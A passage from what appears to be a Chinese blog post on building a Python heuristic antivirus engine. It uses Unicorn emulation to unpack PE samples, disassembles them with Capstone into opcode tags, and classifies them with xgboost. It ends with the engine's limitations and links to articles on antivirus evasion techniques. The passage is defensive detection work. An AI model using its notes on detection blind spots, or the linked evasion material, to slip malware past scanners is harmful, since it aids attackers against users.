            with open(file_path, 'rb') as dll:
                loaded_dll = dll.read()
                # self.resolve_dll_export_table(loaded_dll)
                self.uc_engine.mem_map(
                    start_addr, align((len(loaded_dll) + 0x1000)))
                self.uc_engine.mem_write(start_addr, loaded_dll)
                with open(pick_save_path, 'rb') as pick_file_handle:
                    self.export_to_name_table[filename] = pickle.load(
                        pick_file_handle)

    def set_int3_hook(self, address, name):
        hook_addr = self.enivronment_var['api_handle_address']
        payload = b'\xCC\xC3\x00\xC3'
        # print("set up %s hook at 0x%x" % (name, hook_addr))
        if name in hook_arg_table:
            payload = payload[:2] + struct.pack(
                '<I', hook_arg_table[name]) + payload[4:]
        self.uc_engine.mem_write(
            hook_addr, payload)
        self.uc_engine.mem_write(
            address, struct.pack('<I', hook_addr))
        self.hook_table[hook_addr] = name
        self.enivronment_var['api_handle_address'] += 0x4

    def init_file(self, pe_obj):
        self.sample_var['pe_obj'] = pe_obj
        if self.sample_var['pe_obj'] is None:
            raise Exception("Can't open file")
        # 实际上在x32下还有一种情况是imagebase是0 走MZ 绕过脱壳 但是这个目前暂时不考虑
        self.sample_var['image_base'] = pe_obj.OPTIONAL_HEADER.ImageBase if pe_obj.OPTIONAL_HEADER.ImageBase != 0 else 0x400000
        self.sample_var['memeory_map'] = self.sample_var['pe_obj'].get_memory_mapped_image(
            ImageBase=self.sample_var['image_base'])

        self.sample_var['is_x64'] = self.sample_var['pe_obj'].FILE_HEADER.Machine == 0x8664
        if self.sample_var['is_x64']:
            self.enivronment_var['stack_address'] = STACK_BASE_64
            self.enivronment_var['stack_size'] = STACK_SIZE_64
        else:
            self.enivronment_var['stack_address'] = STACK_BASE_32
            self.enivronment_var['stack_size'] = STACK_SIZE_32

        # self.enivronment_var['stack_start'] = align(self.enivronment_var['stack_address'] +
        #                                            self.enivronment_var['stack_size'], 0x1000)

        # 初始化capstone和unicorn
        self.uc_engine = self.uc_engine_x64 if self.sample_var['is_x64'] else self.uc_engine_x32
        self.capstone = self.capstone_x64 if self.sample_var['is_x64'] else self.capstone_x32
        self.capstone.detail = True

        self.sample_var['virtual_memory_size'] = self.get_virtual_memory_size(
            self.sample_var['pe_obj'])
        self.sample_var['virtual_memory_size'] = align(self.sample_var['virtual_memory_size'] + 0x10000,
                                                       page_size=4096)  # Space possible IAT rebuilding
        self.sample_var['entry_point'] = pe_obj.OPTIONAL_HEADER.AddressOfEntryPoint + \
            self.sample_var['image_base']

        print("Virtual memory size: %x" %
              self.sample_var['virtual_memory_size'])
        print("Image base: %x" %
              self.sample_var['image_base'])
        print("Entry point: %x" %
              self.sample_var['entry_point'])
        print('is x64: %s' % self.sample_var['is_x64'])

        # 初始化TEB/PEB
        self.init_teb_peb()

        # 映射PE到内存中
        self.uc_engine.mem_map(
            self.sample_var['image_base'], self.sample_var['virtual_memory_size'], UC_PROT_ALL)
        self.uc_engine.mem_write(
            self.sample_var['image_base'], self.sample_var['memeory_map'])

        # 对于动态加载的情况,需要把DLL的内存映射到内存中
        if self.sample_var['is_x64']:
            self.load_dll(
                f"{os.path.dirname(__file__)}/x64_dll/KernelBase.dll", self.enivronment_var['kernelbase_base'])
            self.load_dll(
                f"{os.path.dirname(__file__)}/x64_dll/kernel32.dll", self.enivronment_var['kernel32_base'])
            self.load_dll(
                f"{os.path.dirname(__file__)}/x64_dll/ntdll.dll", self.enivronment_var['ntdll_base'])
        else:
            self.load_dll(
                f"{os.path.dirname(__file__)}/x32_dll/KernelBase.dll", self.enivronment_var['kernelbase_base'])
            self.load_dll(
                f"{os.path.dirname(__file__)}/x32_dll/kernel32.dll", self.enivronment_var['kernel32_base'])
            self.load_dll(
                f"{os.path.dirname(__file__)}/x32_dll/ntdll.dll", self.enivronment_var['ntdll_base'])

        for dll_name in self.export_to_name_table:
            path_dll_name = ''
            if dll_name.lower() == 'kernelbase':
                path_dll_name = 'kernelbase_base'
            if dll_name.lower() == 'kernel32':
                path_dll_name = 'kernel32_base'
            if dll_name.lower() == 'ntdll':
                path_dll_name = 'ntdll_base'
            # print("path_dll_name: %s dll_name: %s" % (path_dll_name, dll_name))
            for function_name in self.export_to_name_table[dll_name]:
                if function_name is None:
                    continue
                offset = self.export_to_name_table[dll_name][function_name]
                self.set_int3_hook(
                    self.enivronment_var[path_dll_name] +
                    offset, convert_to_string(function_name))
        # 这边不继续修复iat了,因为我们主要目的是脱壳
        # https://github.com/qilingframework/qiling/blob/839e45ed86e56304b93f81a53cf08383d942a494/qiling/loader/pe.py#L632
        # 偷懒的方式直接hook iat表写0xCC 然后转发到自己的处理函数里面
        for dll in pe_obj.DIRECTORY_ENTRY_IMPORT:
            for import_function in dll.imports:
                self.set_int3_hook(import_function.address,
                                   convert_to_string(import_function.name) if import_function.name is not None else "IAT_" + str(hex(import_function.address)))

        # 初始化hook
        self.uc_engine.hook_add(UC_HOOK_CODE, self.code_hook)
        self.uc_engine.hook_add(UC_HOOK_MEM_READ_UNMAPPED |
                                UC_HOOK_MEM_WRITE_UNMAPPED |
                                UC_HOOK_MEM_FETCH_UNMAPPED, self.memory_invalid_hook)
        self.uc_engine.hook_add(UC_HOOK_INTR, self.interrupt_hook)
        self.uc_engine.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE |
                                UC_HOOK_MEM_FETCH, self.memory_access_hook)
        # 根据系统不同设置寄存器
        stack_end = self.enivronment_var['stack_address'] + \
            self.enivronment_var['stack_size']

        # stack
        self.uc_engine.mem_map(
            self.enivronment_var['stack_address'], self.enivronment_var['stack_size'])
        rsp = stack_end - 128
        # image_end = self.sample_var['image_base'] + \
        #    pe_obj.OPTIONAL_HEADER.SizeOfImage
        if self.sample_var['is_x64']:
            # heap
            self.uc_engine.mem_map(
                HEAP_ADDRESS_64, HEAP_SIZE_64)
            self.uc_engine.reg_write(UC_X86_REG_RSP, rsp)
            self.uc_engine.reg_write(
                UC_X86_REG_RIP, self.enivronment_var['stack_address'])
            # self.uc_engine.mem_write(rsp, image_end)
        else:
            self.uc_engine.mem_map(
                HEAP_ADDRESS_32, HEAP_SIZE_32)
            self.uc_engine.reg_write(UC_X86_REG_ESP, rsp)
            self.uc_engine.reg_write(
                UC_X86_REG_EIP, self.enivronment_var['stack_address'])
            # self.uc_engine.mem_write(rsp, image_end)
        self.uc_engine.reg_write(UC_X86_REG_EFLAGS, 0x244)

        # 设置脱壳环境,任何大小为0的说明是目标区段
        # 我们的目标是当为0的区段被访问的时候,说明壳还原代码了,dump代码.
        for s in pe_obj.sections:
            if s.SizeOfRawData > 0:
                self.allowed_sections += [convert_to_string(s.Name)]
        self.allowed_addr_ranges = self.get_allowed_addr_ranges()
        # self.allowed_sections = [s.Name.decode('utf-8') for s in pe_obj.sections if
        #                         s.VirtualAddress + self.sample_var['image_base'] <= self.sample_var['entry_point'] < s.VirtualAddress + s.Misc_VirtualSize + self.sample_var['image_base']]
        # self.allowed_addr_ranges = []

        # 保存保护属性,用于脱壳后重建PE
        def prot_val(x, y): return True if x & y != 0 else False
        for s in pe_obj.sections:
            self.address_to_name[(
                s.VirtualAddress + self.sample_var['image_base'],
                s.VirtualAddress + self.sample_var['image_base'] + s.Misc_VirtualSize)] = convert_to_string(s.Name)
            self.name_to_protection[convert_to_string(s.Name)] = (
                prot_val(s.Characteristics, 0x20000000), prot_val(
                    s.Characteristics, 0x40000000),
                prot_val(s.Characteristics, 0x80000000))

 这部分说一下为什么不进行完全模拟(实现脱VMP那种效果),因为后来发现,实在是太慢了,python的效率30分钟都跑不完VMP,拿来杀毒纯属扯淡,因此阉割了这个简单虚拟机的代码.

(2).提取关键PE信息,如代码熵、区段大小、字符串、导入表作为AI的input

(3).利用xgboost,对样本进行判黑判白操作

2.0

决定在原有脱壳机基础上,把熵、代码段比率这块的权重降低,并且让他更智能一点,如何做到?我的想法是人可以看代码,为什么AI不能看代码.但是AI不能直接看代码,因为他不懂汇编.(包括现在那个很火的chatgpt对汇编也是很不懂),因此我们要给代码打tag,要打tag首先就要分析PE里面有什么代码,这是我那会用的取程序funciton的例子,原理是判0xcc和0x90

def get_capstone(pData, pIsX64, pPe):
    return_result = {
        'op_code': {},
        'active': []
    }
    capstone_handle = None
    if pIsX64:
        capstone_handle = g_capstone_handle_x64
    else:
        capstone_handle = g_capstone_handle_x32

    capstone_handle.detail = True

    sizeof_code = pPe.OPTIONAL_HEADER.SizeOfCode
    baseof_code = pPe.OPTIONAL_HEADER.BaseOfCode
    backtrack_code = []
    isEnterFunction = False
    current_function_size = 0
    current_fucntion_address = 0
    function_size = []
    # print("get_capstone")
    is_first = True
    for code in capstone_handle.disasm(pData[baseof_code:baseof_code + sizeof_code], 0x00000000):
        if len(backtrack_code) > 3:
            backtrack_code.pop(0)
        backtrack_code.append(code.mnemonic)
        if (code.mnemonic != 'int3' and code.mnemonic != 'nop') and (backtrack_code[0] == 'int3' or backtrack_code[0] == 'nop') and (backtrack_code[1] == 'int3' or backtrack_code[1] == 'nop') and (backtrack_code[2] == 'int3' or backtrack_code[2] == 'nop'):
            # print("进入函数")
            backtrack_code = []
            isEnterFunction = True
            current_fucntion_address = code.address
        elif (code.mnemonic == 'int3' or code.mnemonic == 'nop') and (backtrack_code[0] == 'int3' or backtrack_code[0] == 'nop') and isEnterFunction:
            # print("退出函数")
            isEnterFunction = False
            function_size.append({
                'start_address': current_fucntion_address,
                'end_address': code.address,
                'size': current_function_size
            })
            is_first = False
            current_function_size = 0
            current_fucntion_address = 0
            continue
        current_function_size = current_function_size + 1
    if is_first:
        function_size.append({
            'start_address': 0,
            'end_address': sizeof_code,
            'size': sizeof_code
        })
    function_size.sort(reverse=True, key=lambda x: x['size'])
    func_num = 0
    for func in function_size:
        if func_num > 100:
            break
        # print(func)
        for code in capstone_handle.disasm(pData[baseof_code + func['start_address']:baseof_code + func['end_address']], 0x00000000):
            str_code = "{}-{}".format(code.mnemonic, get_opcode_type(code))
            # str_code = code.mnemonic
            return_result['op_code'][str_code] = 1
            return_result['active'].append(str_code)
        func_num = func_num + 1
    return return_result

解决代码这个问题后,我们就可以给代码打tag了,原理就是取相同,试想100个程序用同一个汇编代码,不用想,肯定是某些for或者if或者某些stl函数,把这些汇编给组合在一起就行
同理病毒也是,100个病毒用这一段代码,肯定是某些bypass AV手段或者作恶手段
这是当时打的一些tag:

{"inc-1 add-3": 819, "add-3 add-3": 285722, "add-3 add-3 add-3": 177864, "add-3 add-3 add-3 add-3": 131152, "add-3 add-3 add-3 add-3 add-3": 52358, "add-3 add-3 add-3 add-3 add-3 add-3": 43450, "add-3 add-3 add-3 add-3 add-3 add-3 add-3": 37200, "add-3 add-3 add-3 add-3 add-3 add-3 add-3 add-3": 32491, "mov-2 push-1": 0, "push-1 push-0": 2, "push-0 call-0": 30, "push-0 call-0 add-1": 4, "push-0 call-0 add-1 mov-7": 0, "call-0 add-1": 11, "call-0 add-1 mov-7": 0, "add-1 mov-7": 16, "xor-2 mov-7": 0, "mov-7 mov-3": 12, "mov-7 mov-3 and-1": 0, "mov-7 mov-3 and-1 mov-7": 0, "mov-7 mov-3 and-1 mov-7 mov-3": 0, "mov-3 and-1": 0, "mov-3 and-1 mov-7": 0, "mov-3 and-1 mov-7 mov-3": 0, "and-1 mov-7": 0, "and-1 mov-7 mov-3": 0, "mov-7 mov-3 xor-2": 0, "mov-3 xor-2": 0, "mov-7 add-1": 9, "mov-3 mov-7": 4, "mov-3 mov-7 mov-7": 0, "mov-3 mov-7 mov-7 mov-7": 0, "mov-3 mov-7 mov-7 mov-7 mov-7": 0, "mov-7 mov-7": 65, "mov-7 mov-7 mov-7": 0, "mov-7 mov-7 mov-7 mov-7": 0, "mov-7 mov-7 mov-6": 0, "mov-7 mov-6": 6, "push-0 push-0": 38, "push-0 push-0 mov-7": 0, "push-0 push-0 mov-7 push-1": 0, "push-0 push-0 mov-7 push-1 mov-7": 0, "push-0 push-0 mov-7 push-1 mov-7 push-1": 0, "push-0 push-0 mov-7 push-1 mov-7 push-1 call-0": 0, "push-0 mov-7": 0, "push-0 mov-7 push-1": 0, "push-0 mov-7 push-1 mov-7": 0, "push-0 mov-7 push-1 mov-7 push-1": 0, "push-0 mov-7 push-1 mov-7 push-1 call-0": 0, "push-0 mov-7 push-1 mov-7 push-1 call-0 add-1": 0, "mov-7 push-1": 0, "mov-7 push-1 mov-7": 0, "mov-7 push-1 mov-7 push-1": 0, "mov-7 push-1 mov-7 push-1 call-0": 0, "mov-7 push-1 mov-7 push-1 call-0 add-1": 0, "mov-7 push-1 mov-7 push-1 call-0 add-1 pop-1": 0, "push-1 mov-7": 1, "push-1 mov-7 push-1": 0, "push-1 mov-7 push-1 call-0": 0, "push-1 mov-7 push-1 call-0 add-1": 0, "push-1 mov-7 push-1 call-0 add-1 pop-1": 0, "mov-7 push-1 call-0": 0, "mov-7 push-1 call-0 add-1": 0, "mov-7 push-1 call-0 add-1 pop-1": 0, "push-1 call-0": 0, "push-1 call-0 add-1": 0, "push-1 call-0 add-1 pop-1": 0, "call-0 add-1 pop-1": 0, "add-1 pop-1": 0, "mov-2 pop-1": 10, "mov-2 pop-1 ret-0": 5, "mov-2 pop-1 ret-0 int3-0": 0, "mov-2 pop-1 ret-0 int3-0 int3-0": 0, "mov-2 pop-1 ret-0 int3-0 int3-0 int3-0": 0,

比如
push
call
add
mov
这应该是函数传参、call完后给某个东西add,再移动什么东西.
总之搜集了非常多的此类代码tag(这里跑了3月,用于用的算法和python的问题,非常慢..),搜集了大概300W的tags
然后就是传统路线,虚拟机脱壳->送入xgboost,但是xgboost中加入这些程序的tags命中情况以及顺序.
最终效果只能说提升一般般,看分布发现大部分tag被命中的疑似是security cookie和各种壳的自解压代码(因为我那虚拟机只能脱一些压缩壳,还是有很多壳脱不了),似乎对整体帮助不算大

3.0

终于,在看了defender的实现后,我决定彻底改进这个破烂虚拟机,当时的想法是:

  1. 不管什么程序直接跑虚拟机
  2. 在虚拟执行与性能中寻找一个平衡点(虚拟执行不能执行太久,要不然非常慢)
  3. 在虚拟执行过程中记录代码控制流、函数API调用、字符串、以及代码tags
  4. 虚拟执行一旦因为各种情况而退出,保存(3)记录的东西
  5. 送入xgboost,结合之前的有用的信息,抛弃之前一些AI压根不关注的features

于是,终于在各种努力下,有一个看起来像那么回事的杀毒引擎了,只不过这个杀毒引擎是python实现的、性能有点拉、没有白名单会误报之外,我个人认为在没白名单和特征库的情况下,已经达到我心目中的水平了.
后续复盘发现是,比如一些程序,混淆的,控制流会非常难看,代码tags接近混淆那段控制流,所以AI权重就偏向那边,而病毒喜欢内存加载、反虚拟机之类的,tags就会偏向病毒这类.而正常程序往往会因为调用一些不在API模拟列表里面的API而推出模拟,此类除了部分奇葩东西之外,控制流往往是接近正常程序这一类,这也是为什么这次效果看起来比较好.

不足

当然,这也是有不足的,这是不足的地方:

  1. 误报还是太大,这其实并不是我的问题,而是所有启发杀毒引擎的问题,而杀软厂商的解决误报方式非常简单,加白,加签名白.只是不在白名单+没有签名的文件才过这个所谓的启发引擎.而本人没这个功夫,毕竟做着玩.所以就这样了.不要管误报率
  2. 还是太占性能,这一点没有办法,这一点是由虚拟机执行的天然特性决定的,当然还可以极限压缩,就是不用unicorn-engine,自己手搓虚拟机,但是我懒得了.
  3. 对非PE文件、无文件攻击、.net、browser base(aka electron)程序完全无能为力.这也是现代杀毒引擎对此类文件无能为力的地方,我也没办法解决.对于高级威胁,建议用EDR而不是杀毒引擎
  4. 有些病毒文件,比如非常简单联网C2,就是不报,这个没办法解决,除非MD5加黑,否则你的代码跟正常程序长一样是不会报的.这也是此类杀毒引擎的天然缺陷,即你的feature表现为正常,你没办法让他认为是黑的,认为是黑的其他的程序就会误报,所以AI的局限性就在这.

(六)、windows defender(原文为英文,见参考十二,此处机翻,仅供参考)

 

 五、参考

(一)、免杀基础学习记录

https://www.cnblogs.com/F12-blog/p/18362694

(二)、免杀技术的发展史

https://zhuanlan.zhihu.com/p/442271155

(三)、The History of Computer Viruses & Malware

https://www.esecurityplanet.com/threats/computer-viruses-and-malware-history/

(四)、A Brief History of The Evolution of Malware

https://www.fortinet.com/blog/threat-research/evolution-of-malware

(五)、Evolution of Malware Sandbox Evasion Tactics – A Retrospective Study

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/

(六)、恶意后门利用多种免杀手段,可远程控制用户电脑

https://www.52pojie.cn/thread-1810375-1-1.html

(七)、免杀基础(1)-免杀技术及原理

https://www.anquanke.com/post/id/279842

(八)、『免杀系列』免杀技术(二)

https://www.freebuf.com/articles/web/274196.html

(九)、免杀基础原理及实践免杀

https://www.anquanke.com/post/id/255394

(十)、通杀检测基于白文件patch黑代码的免杀技术的后门

https://www.52pojie.cn/thread-1951065-1-1.html

(十一)、现代AI杀毒引擎原理

https://key08.com/index.php/2023/07/19/1764.html

(十二)、Windows defender文件杀毒规则研究

https://key08.com/index.php/2024/08/12/1965.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值